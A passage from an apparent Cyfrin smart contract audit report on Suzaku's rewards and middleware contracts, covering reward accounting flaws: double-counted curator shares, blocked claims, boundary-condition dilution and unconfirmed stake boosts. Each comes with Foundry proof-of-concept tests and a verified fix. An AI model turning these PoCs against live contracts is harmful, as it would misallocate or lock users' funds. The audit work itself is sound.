    function _setupRewardsAndSecondaryAssetClass() internal {
        uptimeTracker = new MockUptimeTracker();
        rewards       = new Rewards();

        // Initialise Rewards contract ------------------------------------
        rewards.initialize(
            owner,                                  // admin
            owner,                                  // protocol fee recipient
            payable(address(middleware)),           // middleware
            address(uptimeTracker),                 // uptime oracle
            1000,                                   // protocol fee 10%
            2000,                                   // operator fee 20%
            1000,                                   // curator  fee 10%
            11_520                                  // min uptime (s)
        );

        // Assign roles ---------------------------------------------------
        vm.prank(owner);
        rewards.setRewardsManagerRole(REWARDS_MANAGER_ROLE);
        vm.prank(REWARDS_MANAGER_ROLE);
        rewards.setRewardsDistributorRole(REWARDS_DISTRIBUTOR_ROLE);

        // Mint & approve mock reward token -------------------------------
        rewardsToken = new ERC20Mock();
        rewardsToken.mint(REWARDS_DISTRIBUTOR_ROLE, 1_000_000 ether);
        vm.prank(REWARDS_DISTRIBUTOR_ROLE);
        rewardsToken.approve(address(rewards), 1_000_000 ether);

        // Fund 10 epochs of rewards --------------------------------------
```

```
        vm.startPrank(REWARDS_DISTRIBUTOR_ROLE);
        rewards.setRewardsAmountForEpochs(1, 10, address(rewardsToken), 100_000 * 1e18);
        vm.stopPrank();
        console2.log("Reward pool funded");

        // Configure 60 % primary / 40 % secondary split ---------------------
        vm.startPrank(REWARDS_MANAGER_ROLE);
        rewards.setRewardsShareForAssetClass(1,                    6000); // 60 %
        rewards.setRewardsShareForAssetClass(secondaryAssetClassId, 4000); // 40 %
        vm.stopPrank();
        console2.log("Reward share split set: 60/40");

        // Create a secondary asset-class + vault so split is in effect
        _setupAssetClassAndRegisterVault(
            secondaryAssetClassId, 0,
            collateral2, vault3,
            type(uint256).max, type(uint256).max, delegator3
        );
        console2.log("Secondary asset-class & vault registered\n");
    }
}
```

Output:

```
Ran 1 test for test/middleware/PoCIncorrectSumOfShares.t.sol:PoCIncorrectSumOfShares
[PASS] test_PoCIncorrectSumOfShares() (gas: 8309923)
Logs:
  Reward pool funded
  Reward share split set: 60/40
  Secondary asset-class & vault registered

  Creating nodes for Alice
  Creating node for Charlie
  Moved to one epoch
  Warped forward for rewards distribution
  Rewards distributed
  Total shares is greater than 10000 bp

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 6.20ms (2.58ms CPU time)

Ran 1 test suite in 129.02ms (6.20ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
```

Recommended Mitigation: To correctly sum curator shares, ensure each curator's total share for the epoch is counted only once. This can be achieved by:

1. **Tracking Unique Curators:** During the initial share calculation (e.g., in `_calculateAndStoreVaultShares`), maintain a data structure (like `EnumerableSet.AddressSet`) that stores the unique addresses of curators who earned shares in that epoch.

   ```
   // Example: Add to state variables
   mapping(uint48 epoch => EnumerableSet.AddressSet) private _epochUniqueCurators;

   // In _calculateAndStoreVaultShares, after calculating curatorShare for a vault's owner:
   if (curatorShare > 0) {
       _epochUniqueCurators[epoch].add(VaultTokenized(vault).owner());
   }
   ```

2. **Iterating Unique Curators in `claimUndistributedRewards`:** Modify the curator share summation loop to iterate over this set of unique curators.

   ```
   // In claimUndistributedRewards:
   ...
   ```

```
    // Sum curator shares
    EnumerableSet.AddressSet storage uniqueCurators = _epochUniqueCurators[epoch];
    for (uint256 i = 0; i < uniqueCurators.length(); i++) {
        address curator = uniqueCurators.at(i);
        totalDistributedShares += curatorShares[epoch][curator];
    }
    ...
```

This ensures that `curatorShares[epoch][curatorAddress]` is added to `totalDistributedShares` precisely once for each distinct curator who earned rewards in the epoch.

Suzaku: Fixed in commit 8f4adaa.

Cyfrin: Verified.

7.2.4 Incorrect reward claim logic causes loss of access to intermediate epoch rewards

Description: In the current implementation of `Rewards::distributeRewards`, all shares are calculated for participants after a 3-epoch delay between the current epoch and the one being distributed. However, an issue arises in the **claim logic**.

When rewards are claimed for a past epoch, the `lastEpochClaimedOperator` is updated unconditionally to `currentEpoch - 1`. This can block claims for **intermediate epochs** that were not yet distributed at the time of the first claim.

Problem Scenario

Consider the following sequence:

1. **Epoch 4**: Rewards are distributed for **epoch 1**
2. **Epoch 5**: Operator1 claims rewards → `lastEpochClaimedOperator = 4`
3. **Epoch 5**: Rewards are now distributed for **epoch 2**
4. **Epoch 5**: Operator1 attempts to claim rewards for **epoch 2**, but it's **blocked** because `lastEpochClaimedOperator > 2`

As a result, the operator **loses access** to claimable rewards from epoch 2.

Problematic Code

```
if (totalRewards == 0) revert NoRewardsToClaim(msg.sender);
IERC20(rewardsToken).safeTransfer(recipient, totalRewards);
lastEpochClaimedOperator[msg.sender] = currentEpoch - 1; // <-- Incorrectly skips intermediate epochs
```

Impact: Loss of Funds — Users (operators) are permanently prevented from claiming their legitimate rewards if intermediate epochs are distributed after a later claim has already advanced `lastEpochClaimedOperator`.

Proof of Concept: Add this test case to `RewardTest.t.sol` to reproduce the issue:

```
function test_distributeRewards_claimFee(uint256 uptime) public {
    uint48 epoch = 1;
    uptime = bound(uptime, 0, 4 hours);

    _setupStakes(epoch, uptime);
    _setupStakes(epoch + 2, uptime);

    address[] memory operators = middleware.getAllOperators();
    uint256 batchSize = 3;
    uint256 remainingOperators = operators.length;

    vm.warp((epoch + 3) * middleware.EPOCH_DURATION());
    while (remainingOperators > 0) {
        vm.prank(REWARDS_DISTRIBUTOR_ROLE);
```

```
        rewards.distributeRewards(epoch, uint48(batchSize));
        remainingOperators = remainingOperators > batchSize ? remainingOperators - batchSize : 0;
    }

    vm.warp((epoch + 4) * middleware.EPOCH_DURATION());

    for (uint256 i = 0; i < operators.length; i++) {
        uint256 operatorShare = rewards.operatorShares(epoch, operators[i]);
        if (operatorShare > 0) {
            vm.prank(operators[i]);
            rewards.claimOperatorFee(address(rewardsToken), operators[i]);
            assertGt(rewardsToken.balanceOf(operators[i]), 0, "Operator should receive rewards ");
            vm.stopPrank();
            break;
        }
    }

    vm.warp((epoch + 5) * middleware.EPOCH_DURATION());
    remainingOperators = operators.length;
    while (remainingOperators > 0) {
        vm.prank(REWARDS_DISTRIBUTOR_ROLE);
        rewards.distributeRewards(epoch + 2, uint48(batchSize));
        remainingOperators = remainingOperators > batchSize ? remainingOperators - batchSize : 0;
    }

    vm.warp((epoch + 9) * middleware.EPOCH_DURATION());
    for (uint256 i = 0; i < operators.length; i++) {
        uint256 operatorShare = rewards.operatorShares(epoch + 2, operators[i]);
        if (operatorShare > 0) {
            vm.prank(operators[i]);
            rewards.claimOperatorFee(address(rewardsToken), operators[i]);
            vm.stopPrank();
            break;
        }
    }
}
```

Recommended Mitigation: Update the `claimOperatorFee` logic to **only update** `lastEpochClaimedOperator` to the **maximum epoch for which the user has successfully claimed rewards**, instead of always assigning `currentEpoch - 1`.

Suzaku: Fixed in commit 6a0cbb1.

Cyfrin: Verified.

7.2.5 Timestamp boundary condition causes reward dilution for active operators

Description: The `AvalancheL1Middleware::_wasActiveAt()` function contains a boundary condition bug that incorrectly treats operators and vaults as "active" at the exact timestamp when they are disabled. This causes disabled operators' stakes to be included in total stake calculations for reward distribution, leading to significant reward dilution for active operators.

The `_wasActiveAt()` function uses >= instead of > for the disabled time comparison:

```
function _wasActiveAt(uint48 enabledTime, uint48 disabledTime, uint48 timestamp) private pure returns
↪  (bool) {
    return enabledTime != 0 && enabledTime <= timestamp && (disabledTime == 0 || disabledTime >=
    ↪  timestamp); //@audit disabledTime >= timestamp means an operator is active at a timestamp when
    ↪  he was disabled
}
```

When `disabledTime == timestamp`, the operator is incorrectly considered active, even though they were disabled at that exact moment.

This bug affects the `calcAndCacheStakes()` function used for reward calculations. Note that if the operator was disabled exactly at epoch start, the `totalStake` returns an inflated value as it includes the stake of disabled operator.

```
function calcAndCacheStakes(uint48 epoch, uint96 assetClassId) public returns (uint256 totalStake) {
    uint48 epochStartTs = getEpochStartTs(epoch);
    uint256 length = operators.length();

    for (uint256 i; i < length; ++i) {
        (address operator, uint48 enabledTime, uint48 disabledTime) = operators.atWithTimes(i);
        if (!_wasActiveAt(enabledTime, disabledTime, epochStartTs)) { // @audit: this gets skipped
            continue;
        }
        uint256 operatorStake = getOperatorStake(operator, epoch, assetClassId);
        operatorStakeCache[epoch][assetClassId][operator] = operatorStake;
        totalStake += operatorStake; // @audit -> this is inflated
    }
    totalStakeCache[epoch][assetClassId] = totalStake;
    totalStakeCached[epoch][assetClassId] = true;
}
```

The same `_wasActiveAt()` function is used in `getOperatorStake()` when iterating through vaults. If a vault is disabled exactly at epoch start, it's incorrectly included in the operator's stake calculation:

```
function getOperatorStake(address operator, uint48 epoch, uint96 assetClassId) public view returns
↪   (uint256 stake) {
    uint48 epochStartTs = getEpochStartTs(epoch);
    uint256 totalVaults = vaultManager.getVaultCount();

    for (uint256 i; i < totalVaults; ++i) {
        (address vault, uint48 enabledTime, uint48 disabledTime) = vaultManager.getVaultAtWithTimes(i);

        // Skip if vault not active in the target epoch
        if (!_wasActiveAt(enabledTime, disabledTime, epochStartTs)) { // @audit: same boundary bug for
        ↪   vaults
            continue;
        }

        // Skip if vault asset not in AssetClassID
        if (vaultManager.getVaultAssetClass(vault) != assetClassId) {
            continue;
        }

        uint256 vaultStake = BaseDelegator(IVaultTokenized(vault).delegator()).stakeAt(
            L1_VALIDATOR_MANAGER, assetClassId, operator, epochStartTs, new bytes(0)
        );

        stake += vaultStake; // @audit -> inflated when disabled vaults are included
    }
}
```

In `Rewards::_calculateOperatorShare`, this inflated `totalStake` is then used to calculate operator share of rewards for that epoch.

```
// In Rewards.sol - _calculateOperatorShare()
function _calculateOperatorShare(uint48 epoch, address operator) internal {
    // ...
    for (uint256 i = 0; i < assetClasses.length; i++) {
```

```
        uint256 operatorStake = l1Middleware.getOperatorUsedStakeCachedPerEpoch(epoch, operator,
        ↪  assetClasses[i]);
        uint256 totalStake = l1Middleware.totalStakeCache(epoch, assetClasses[i]); // @audit inflated
        ↪  value

        uint256 shareForClass = Math.mulDiv(
            Math.mulDiv(operatorStake, BASIS_POINTS_DENOMINATOR, totalStake), // @audit shares are
            ↪  diluted due to inflated total stake
            assetClassShare,
            BASIS_POINTS_DENOMINATOR
        );
        totalShare += shareForClass;
    }
    // ...
}
```

Impact: Rewards that were supposed to be distributed to active operators end up stuck in the Rewards contract. This leads to significant dilution of rewards for active operators and vaults.

Proof of Concept:

```
    function test_wasActiveAtBoundaryBug() public {
        // create nodes for alice and charlie
        // Add nodes for Alice
        (bytes32[] memory aliceNodeIds,,) = _createAndConfirmNodes(alice, 1, 0, true);
        console2.log("Created", aliceNodeIds.length, "nodes for Alice");

        // Add nodes for Charlie
        (bytes32[] memory charlieNodeIds,,) = _createAndConfirmNodes(charlie, 1, 0, true);
        console2.log("Created", charlieNodeIds.length, "nodes for Charlie");

        // move to current epoch so that nodes are active
        // record next epoch start time stamp and epoch number
        uint48 currentEpoch = _calcAndWarpOneEpoch();
        uint48 nextEpoch = currentEpoch + 1;
        uint48 nextEpochStartTs = middleware.getEpochStartTs(nextEpoch);


        // Setup rewards contract (simplified version)
        address admin = makeAddr("admin");
        address protocolOwner = makeAddr("protocolOwner");
        address rewardsDistributor = makeAddr("rewardsDistributor");

        // Deploy rewards contract
        Rewards rewards = new Rewards();
        MockUptimeTracker uptimeTracker = new MockUptimeTracker();

        // Initialize rewards contract
        rewards.initialize(
            admin,
            protocolOwner,
            payable(address(middleware)),
            address(uptimeTracker),
            1000, // 10% protocol fee
            2000, // 20% operator fee
            1000, // 10% curator fee
            11520 // min required uptime
        );

        // Setup roles
        vm.prank(admin);
        rewards.setRewardsDistributorRole(rewardsDistributor);
```

```
// Create rewards token and set rewards
ERC20Mock rewardsToken = new ERC20Mock();
uint256 totalRewards = 100 ether;
rewardsToken.mint(rewardsDistributor, totalRewards);

 vm.startPrank(rewardsDistributor);
rewardsToken.approve(address(rewards), totalRewards);
rewards.setRewardsAmountForEpochs(nextEpoch, 1, address(rewardsToken), totalRewards);
vm.stopPrank();

// Set rewards share for primary asset class
vm.prank(admin);
rewards.setRewardsShareForAssetClass(1, 10000); // 100% for primary asset class

// Record initial stake
uint256 aliceInitialStake = middleware.getOperatorStake(alice, currentEpoch, assetClassId);
uint256 charlieInitialStake = middleware.getOperatorStake(charlie, currentEpoch, assetClassId);

// Verify they have nodes
bytes32[] memory aliceCurrentNodes = middleware.getActiveNodesForEpoch(alice, currentEpoch);
bytes32[] memory charlieCurrentNodes = middleware.getActiveNodesForEpoch(charlie, currentEpoch);
console2.log("Alice current nodes:", aliceCurrentNodes.length);
console2.log("Charlie current nodes:", charlieCurrentNodes.length);

console2.log("=== INITIAL STATE ===");
console2.log("Alice initial stake:", aliceInitialStake);
console2.log("Charlie initial stake:", charlieInitialStake);
console2.log("Total initial:", aliceInitialStake + charlieInitialStake);


// Move to exact epoch boundary and disable Alice
vm.warp(nextEpochStartTs);
vm.prank(validatorManagerAddress);
middleware.disableOperator(alice);

// Set uptime alice - 0, charlie - full
uptimeTracker.setOperatorUptimePerEpoch(nextEpoch, alice, 0 hours);
uptimeTracker.setOperatorUptimePerEpoch(nextEpoch, charlie, 4 hours);

// Calculate stakes for the boundary epoch
uint256 aliceBoundaryStake = middleware.getOperatorStake(alice, nextEpoch, assetClassId);
uint256 charlieBoundaryStake = middleware.getOperatorStake(charlie, nextEpoch, assetClassId);
uint256 totalBoundaryStake = middleware.calcAndCacheStakes(nextEpoch, assetClassId);

console2.log("=== BOUNDARY EPOCH ===");
console2.log("Epoch start timestamp:", nextEpochStartTs);
console2.log("Alice disabled at timestamp:", nextEpochStartTs);
console2.log("Alice boundary stake:", aliceBoundaryStake);
console2.log("Charlie boundary stake:", charlieBoundaryStake);
console2.log("Total boundary stake:", totalBoundaryStake);


// Distribute rewards using actual Rewards contract
vm.warp(nextEpochStartTs + 3 * middleware.EPOCH_DURATION()); // Move past distribution window

vm.prank(rewardsDistributor);
rewards.distributeRewards(nextEpoch, 10); // Process all operators

// Move to claiming period
vm.warp(nextEpochStartTs + 4 * middleware.EPOCH_DURATION());
```

```
        // Record balances before claiming
        uint256 rewardsContractBalance = rewardsToken.balanceOf(address(rewards));
        uint256 charlieBalanceBefore = rewardsToken.balanceOf(charlie);

        console2.log("=== UNDISTRIBUTED REWARDS TEST ===");
        console2.log("Total rewards in contract:", rewardsContractBalance);

        // Charlie claims his rewards
        vm.prank(charlie);
        rewards.claimOperatorFee(address(rewardsToken), charlie);

        uint256 charlieRewards = rewardsToken.balanceOf(charlie) - charlieBalanceBefore;
        console2.log("Charlie claimed:", charlieRewards);

        // Alice cannot claim (disabled/no uptime)
        vm.expectRevert();
        vm.prank(alice);
        rewards.claimOperatorFee(address(rewardsToken), alice);

        // Charlie should get 100% of operator rewards
        // Deduct protocol share - and calculate operator fees
        uint256 charliExpectedRewards = totalRewards * 9000 * 2000 / 100_000_000; // (total rewards -
        ↪  protocol share) * operator fee
        assertGt(charliExpectedRewards, charlieRewards);
    }
```

Recommended Mitigation: Consider changing the boundary condition in `_wasActiveAt()` to exclude operators disabled at exact timestamp.

Suzaku: Fixed in commit 9bbbcfc.

Cyfrin: Verified.

7.2.6 Immediate stake cache updates enable reward distribution without P-Chain confirmation

Description: The middleware immediately updates stake cache for reward calculations when operators initiate stake changes via `initializeValidatorStakeUpdate()`, even though these changes remain unconfirmed by the P-Chain.

This creates a temporal window where reward calculations diverge from the actual validated P-Chain state, potentially allowing operators to receive rewards based on unconfirmed stake increases.

When an operator calls `initializeValidatorStakeUpdate()` to modify their validator's stake, the middleware immediately updates the stake cache for the next epoch:

```
// In initializeValidatorStakeUpdate():
function _initializeValidatorStakeUpdate(address operator, bytes32 validationID, uint256 newStake)
↪  internal {
    uint48 currentEpoch = getCurrentEpoch();

    nodeStakeCache[currentEpoch + 1][validationID] = newStake;
    nodePendingUpdate[validationID] = true;

    // @audit P-Chain operation initiated but NOT confirmed
    balancerValidatorManager.initializeValidatorWeightUpdate(validationID, scaledWeight);
}
```

However, reward calculations immediately use this cached stake without verifying P-Chain confirmation:

```
function getOperatorUsedStakeCachedPerEpoch(uint48 epoch, address operator, uint96 assetClass) external
↪  view returns (uint256) {
    // Uses cached stake regardless of P-Chain confirmation status
```

```
    bytes32[] memory nodesArr = this.getActiveNodesForEpoch(operator, epoch);
    for (uint256 i = 0; i < nodesArr.length; i++) {
        bytes32 nodeId = nodesArr[i];
        bytes32 validationID =
        ↪  balancerValidatorManager.registeredValidators(abi.encodePacked(uint160(uint256(nodeId))));
        registeredStake += getEffectiveNodeStake(epoch, validationID); // @audit Uses unconfirmed stake
    }
```

It is worthwhile to note that the middleware explicitly skips validators with pending updates in the `forceUpdateNodes`:

```
function forceUpdateNodes(address operator, uint256 limitStake) external {
    // ...
    for (uint256 i = length; i > 0 && leftoverStake > 0;) {
        bytes32 valID =
        ↪  balancerValidatorManager.registeredValidators(abi.encodePacked(uint160(uint256(nodeId))));
        if (balancerValidatorManager.isValidatorPendingWeightUpdate(valID)) {
            continue; // @audit No correction possible for pending validators
        }
        // ... stake adjustment logic
    }
}
```

This creates an inconsistent approach - while rebalancing nodes, logic is verifying the P-chain state while the same check is missing for reward estimation.

Impact:

- Operators receive immediate reward boosts upon submitting stake increases, before P-Chain validation
- P-chain may reject operations or take multiple epochs to confirm causing an inconsistency in L1 Middleware state and P-chain state

Proof of Concept: Current POC shows that the reward calculation uses unconfirmed stake updates. Add to `AvalancheMiddlewareTest.t.sol`

```
    function test_UnconfirmedStakeImmediateRewards() public {
        // Setup: Alice has 100 ETH equivalent stake
        uint48 epoch = _calcAndWarpOneEpoch();

        // increasuing vaults total stake
        (, uint256 additionalMinted) = _deposit(staker, 500 ether);

        // Now allocate more of this deposited stake to Alice (the operator)
        uint256 totalAliceShares = mintedShares + additionalMinted;
        _setL1Limit(bob, validatorManagerAddress, assetClassId, 3000 ether, delegator);
        _setOperatorL1Shares(bob, validatorManagerAddress, assetClassId, alice, totalAliceShares,
        ↪  delegator);

        // Move to next epoch to make the new stake available
        epoch = _calcAndWarpOneEpoch();

        // Verify Alice now has sufficient available stake
        uint256 aliceAvailableStake = middleware.getOperatorAvailableStake(alice);
        console2.log("Alice available stake: %s ETH", aliceAvailableStake / 1 ether);

        // Alice adds a node with 10 ETH stake
        (bytes32[] memory nodeIds, bytes32[] memory validationIDs,) =
            _createAndConfirmNodes(alice, 1, 10 ether, true);
        bytes32 nodeId = nodeIds[0];
        bytes32 validationID = validationIDs[0];

        // Move to next epoch and confirm initial state
```

```
        epoch = _calcAndWarpOneEpoch();
        uint256 initialStake = middleware.getNodeStake(epoch, validationID);
        assertEq(initialStake, 10 ether, "Initial stake should be 10 ETH");

        // Alice increases stake to 1000 ETH (10x increase)
        uint256 modifiedStake = 50 ether;
        vm.prank(alice);
        middleware.initializeValidatorStakeUpdate(nodeId, modifiedStake);

        // Check: Stake cache immediately updated for next epoch (unconfirmed!)
        uint48 nextEpoch = middleware.getCurrentEpoch() + 1;
        uint256 unconfirmedStake = middleware.nodeStakeCache(nextEpoch, validationID);
        assertEq(unconfirmedStake, modifiedStake, "Unconfirmed stake should be immediately set");

        // Verify: P-Chain operation is still pending
        assertTrue(
            mockValidatorManager.isValidatorPendingWeightUpdate(validationID),
            "P-Chain operation should still be pending"
        );

        // Move to next epoch (when unconfirmed stake takes effect)
        epoch = _calcAndWarpOneEpoch();

        // Reward calculations now use unconfirmed 1000 ETH stake
        uint256 operatorStakeForRewards = middleware.getOperatorUsedStakeCachedPerEpoch(
            epoch, alice, middleware.PRIMARY_ASSET_CLASS()
        );
        assertEq(
            operatorStakeForRewards,
            modifiedStake,
            "Reward calculations should use unconfirmed 500 ETH stake"
        );
        console2.log("Stake used for rewards: %s ETH", operatorStakeForRewards / 1 ether);
    }
```

Recommended Mitigation: Consider updating the stake cache only after P-Chain confirmation rather than during initialization:

```
function completeStakeUpdate(bytes32 nodeId, uint32 messageIndex) external {
    // ... existing logic ...

    // Update cache only after P-Chain confirms
    uint48 currentEpoch = getCurrentEpoch();
    nodeStakeCache[currentEpoch + 1][validationID] = validator.weight;
}
```

Note that this change also requires changes in `_calcAndCacheNodeStakeForOperatorAtEpoch` - currently the `nodeStakeCache` of current epoch is updated to the one in previous epoch, only when there are no pending updates. If the above change is implemented, `nodeStakeCache` for current epoch should **always be** the one rolled over from previous epochs.

Suzaku: Fixed in commit 5157351.

Cyfrin: Verified.

7.2.7 Vault rewards incorrectly scaled by cross-asset-class operator totals instead of asset class specific shares causing rewards leakage

Description: The current vault reward distribution logic causes systematic under-distribution of rewards to vault stakers. The issue stems from using cross-asset-class operator beneficiary share totals to scale individual vault

rewards, instead of using asset-class-specific operator rewards. This causes a leakage of rewards in scenarios where operators have assymetric stake across different asset class IDs.

The `Rewards::_calculateAndStoreVaultShares` function incorrectly uses `operatorBeneficiariesShares[operator]` (which represents the operator's total rewards across ALL asset classes) to scale rewards for individual vaults that belong to specific asset classes. This creates an inappropriate dilution effect where vault rewards are scaled down by the operator's participation in other unrelated asset classes.

First in `_calculateOperatorShare()` when calculating the operator's total share

```
function _calculateOperatorShare(uint48 epoch, address operator) internal {
    // ... uptime calculations ...

    uint96[] memory assetClasses = l1Middleware.getAssetClassIds();
    for (uint256 i = 0; i < assetClasses.length; i++) {
        uint256 operatorStake = l1Middleware.getOperatorUsedStakeCachedPerEpoch(epoch, operator,
        ↪  assetClasses[i]);
        uint256 totalStake = l1Middleware.totalStakeCache(epoch, assetClasses[i]);
        uint16 assetClassShare = rewardsSharePerAssetClass[assetClasses[i]];

        uint256 shareForClass = Math.mulDiv(
            Math.mulDiv(operatorStake, BASIS_POINTS_DENOMINATOR, totalStake),
            assetClassShare, // @audit asset class share applied here
            BASIS_POINTS_DENOMINATOR
        );
        totalShare += shareForClass;
    }
    // ... rest of function
    operatorBeneficiariesShares[epoch][operator] = totalShare; //@audit this is storing cross-asset
    ↪  total
```

Again in `_calculateAndStoreVaultShares()`, `operatorBeneficiariesShares` which is a cross-asset operator share is used to calculate vault share for a specific vault:

```
function _calculateAndStoreVaultShares(uint48 epoch, address operator) internal {
    uint256 operatorShare = operatorBeneficiariesShares[epoch][operator]; // @audit already includes
    ↪  asset class weighting

    for (uint256 i = 0; i < vaults.length; i++) {
        address vault = vaults[i];
        uint96 vaultAssetClass = middlewareVaultManager.getVaultAssetClass(vault);

        // ... vault stake calculation ...

        uint256 vaultShare = Math.mulDiv(vaultStake, BASIS_POINTS_DENOMINATOR, operatorActiveStake);
        vaultShare = Math.mulDiv(vaultShare, rewardsSharePerAssetClass[vaultAssetClass],
        ↪  BASIS_POINTS_DENOMINATOR);
        vaultShare = Math.mulDiv(vaultShare, operatorShare, BASIS_POINTS_DENOMINATOR);
        //@audit Uses cross-asset operator total instead of asset-class-specific share
        // This scales vault rewards by operator's participation in OTHER asset classes
        // ... rest of function
    }
}
```

Net effect is, even if a specific operator contributes 100% of the vault stake, it gets scaled by the global operator share causing a leakage in rewards for that specific asset class.

Impact: Systematic under-rewards in every epoch where vault stakes receive less than what they should, and this excess is being reclaimed as undistributed rewards. Effectively, the actual reward distribution doesn't match intended asset class allocations.

Proof of Concept: The test demonstrates that even when all fees are zero, the vault share is only 92.5% of the

epoch rewards. The 7.5% is attributed to the reward leakage that becomes part of undistributed rewards.

```
  In the POC below,
- Asset Class 1: 50% share (5000 bp), 1000 total stake
- Asset Class 2: 20% share (2000 bp), 100 total stake
- Asset Class 3: 30% share (3000 bp), 100 total stake
- Operator B: 700/100/100 stake in classes 1/2/3 respectively
- Operator B's cross-asset total: (700/1000×5000) + (100/100×2000) + (100/100×3000) = 8500 bp
- Vault Share of Asset ID 2:
    - vaultShare = (100/100) × 2000 × 8500 / (10000 × 10000)
    - vaultShare = 1 × 2000 × 8500 / 100,000,000 = 1700 bp

Vault 2 should get Operator B's Asset Class 2 rewards only (2000 bp)
Instead, it gets scaled by operator's total across all classes (8500 bp)

This causes a dilution of 300 bp
```

```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.25;

import {Test} from "forge-std/Test.sol";
import {console2} from "forge-std/console2.sol";

import {MockAvalancheL1Middleware} from "../mocks/MockAvalancheL1Middleware.sol";
import {MockUptimeTracker} from "../mocks/MockUptimeTracker.sol";
import {MockVaultManager} from "../mocks/MockVaultManager.sol";
import {MockDelegator} from "../mocks/MockDelegator.sol";
import {MockVault} from "../mocks/MockVault.sol";
import {ERC20Mock} from "@openzeppelin/contracts/mocks/token/ERC20Mock.sol";

import {Rewards} from "../../src/contracts/rewards/Rewards.sol";
import {IRewards} from "../../src/interfaces/rewards/IRewards.sol";
import {BaseDelegator} from "../../src/contracts/delegator/BaseDelegator.sol";
import {IVaultTokenized} from "../../src/interfaces/vault/IVaultTokenized.sol";

contract RewardsAssetShareTest is Test {
    // Contracts
    MockAvalancheL1Middleware public middleware;
    MockUptimeTracker public uptimeTracker;
    MockVaultManager public vaultManager;
    Rewards public rewards;
    ERC20Mock public rewardsToken;

    // Test addresses
    address constant ADMIN = address(0x1);
    address constant PROTOCOL_OWNER = address(0x2);
    address constant REWARDS_MANAGER = address(0x3);
    address constant REWARDS_DISTRIBUTOR = address(0x4);
    address constant OPERATOR_A = address(0x1000);
    address constant OPERATOR_B = address(uint160(0x1000 + 1));

    function setUp() public {
        // Deploy mock contracts - simplified setup for our POC
        vaultManager = new MockVaultManager();

        //Set up 2 operators
        uint256[] memory nodesPerOperator = new uint256[](2);
        nodesPerOperator[0] = 1; // Operator 0x1000 has 1 node
        nodesPerOperator[1] = 1; // Operator A has 1 node

        middleware = new MockAvalancheL1Middleware(
```

```
            2,
            nodesPerOperator,
            address(0),
            address(vaultManager)
        );

        uptimeTracker = new MockUptimeTracker();

        // Deploy Rewards contract
        rewards = new Rewards();
        rewardsToken = new ERC20Mock();

        // Initialize with no fees to match our simplified example
        rewards.initialize(
            ADMIN,
            PROTOCOL_OWNER,
            payable(address(middleware)),
            address(uptimeTracker),
            0, // protocolFee = 0%
            0, // operatorFee = 0%
            0, // curatorFee = 0%
            0  // minRequiredUptime = 0
        );

        // Set up roles
        vm.prank(ADMIN);
        rewards.setRewardsManagerRole(REWARDS_MANAGER);

        vm.prank(REWARDS_MANAGER);
        rewards.setRewardsDistributorRole(REWARDS_DISTRIBUTOR);

        // Set up rewards token
        rewardsToken.mint(REWARDS_DISTRIBUTOR, 1_000_000 * 10**18);
        vm.prank(REWARDS_DISTRIBUTOR);
        rewardsToken.approve(address(rewards), 1_000_000 * 10**18);
    }

    function test_AssetShareFormula() public {
        uint48 epoch = 1;

        // Set Asset Class 1 to 50% rewards share (5000 basis points)
        vm.prank(REWARDS_MANAGER);
        rewards.setRewardsShareForAssetClass(1, 5000); // 50%

        vm.prank(REWARDS_MANAGER);
        rewards.setRewardsShareForAssetClass(2, 2000); // 20%

        vm.prank(REWARDS_MANAGER);
        rewards.setRewardsShareForAssetClass(3, 3000); // 30%

        // Set total stake in Asset Class 1 = 1000 tokens across network
        middleware.setTotalStakeCache(epoch, 1, 1000);
        middleware.setTotalStakeCache(epoch, 2, 100);  // Asset Class 2: 0 tokens
        middleware.setTotalStakeCache(epoch, 3, 100);  // Asset Class 3: 0 tokens

        // Set Operator A stake = 300 tokens (30% of network)
        middleware.setOperatorStake(epoch, OPERATOR_A, 1, 300);

        // Set operator A node stake (for primary asset class calculation)
        bytes32[] memory operatorNodes = middleware.getOperatorNodes(OPERATOR_A);
        middleware.setNodeStake(epoch, operatorNodes[0], 300);
```

```
// No stake in other asset classes for Operator A
middleware.setOperatorStake(epoch, OPERATOR_A, 2, 0);
middleware.setOperatorStake(epoch, OPERATOR_A, 3, 0);

bytes32[] memory operatorBNodes = middleware.getOperatorNodes(OPERATOR_B);
middleware.setNodeStake(epoch, operatorBNodes[0], 700); // Remaining Asset Class 1 stake
middleware.setOperatorStake(epoch, OPERATOR_B, 1, 700);
middleware.setOperatorStake(epoch, OPERATOR_B, 2, 100);
middleware.setOperatorStake(epoch, OPERATOR_B, 3, 100);

// Set 100% uptime for Operator A & B
uptimeTracker.setOperatorUptimePerEpoch(epoch, OPERATOR_A, 4 hours);
uptimeTracker.setOperatorUptimePerEpoch(epoch, OPERATOR_B, 4 hours);


// Create a vault for Asset Class 1 with 300 tokens staked (100% of operator's stake)
address vault1Owner = address(0x500);
(address vault1, address delegator1) = vaultManager.deployAndAddVault(
    address(0x123), // collateral
    vault1Owner
);
middleware.setAssetInAssetClass(1, vault1);
vaultManager.setVaultAssetClass(vault1, 1);

  // Create vault for Asset Class 2
address vault2Owner = address(0x600);
(address vault2, address delegator2) = vaultManager.deployAndAddVault(address(0x123),
↪  vault2Owner);
middleware.setAssetInAssetClass(2, vault2);
vaultManager.setVaultAssetClass(vault2, 2);

// Create vault for Asset Class 3
address vault3Owner = address(0x700);
(address vault3, address delegator3) = vaultManager.deployAndAddVault(
    address(0x125), // different collateral
    vault3Owner
);
middleware.setAssetInAssetClass(3, vault3);
vaultManager.setVaultAssetClass(vault3, 3);


// Set vault delegation: 300 tokens staked to Operator A
uint256 epochTs = middleware.getEpochStartTs(epoch);
MockDelegator(delegator1).setStake(
    middleware.L1_VALIDATOR_MANAGER(),
    1, // asset class
    OPERATOR_A,
    uint48(epochTs),
    300 // stake amount
);

MockDelegator(delegator1).setStake(middleware.L1_VALIDATOR_MANAGER(),
                                   1,
                                   OPERATOR_B,
                                   uint48(epochTs),
                                   700);

MockDelegator(delegator2).setStake(
    middleware.L1_VALIDATOR_MANAGER(), 2, OPERATOR_B, uint48(epochTs), 100
);

MockDelegator(delegator3).setStake(
```

```
            middleware.L1_VALIDATOR_MANAGER(), 3, OPERATOR_B, uint48(epochTs), 100
        );

        // Set rewards for the epoch: 100,000 tokens
        vm.prank(REWARDS_DISTRIBUTOR);
        rewards.setRewardsAmountForEpochs(epoch, 1, address(rewardsToken), 100_000);


        // Wait 3 epochs as required by contract
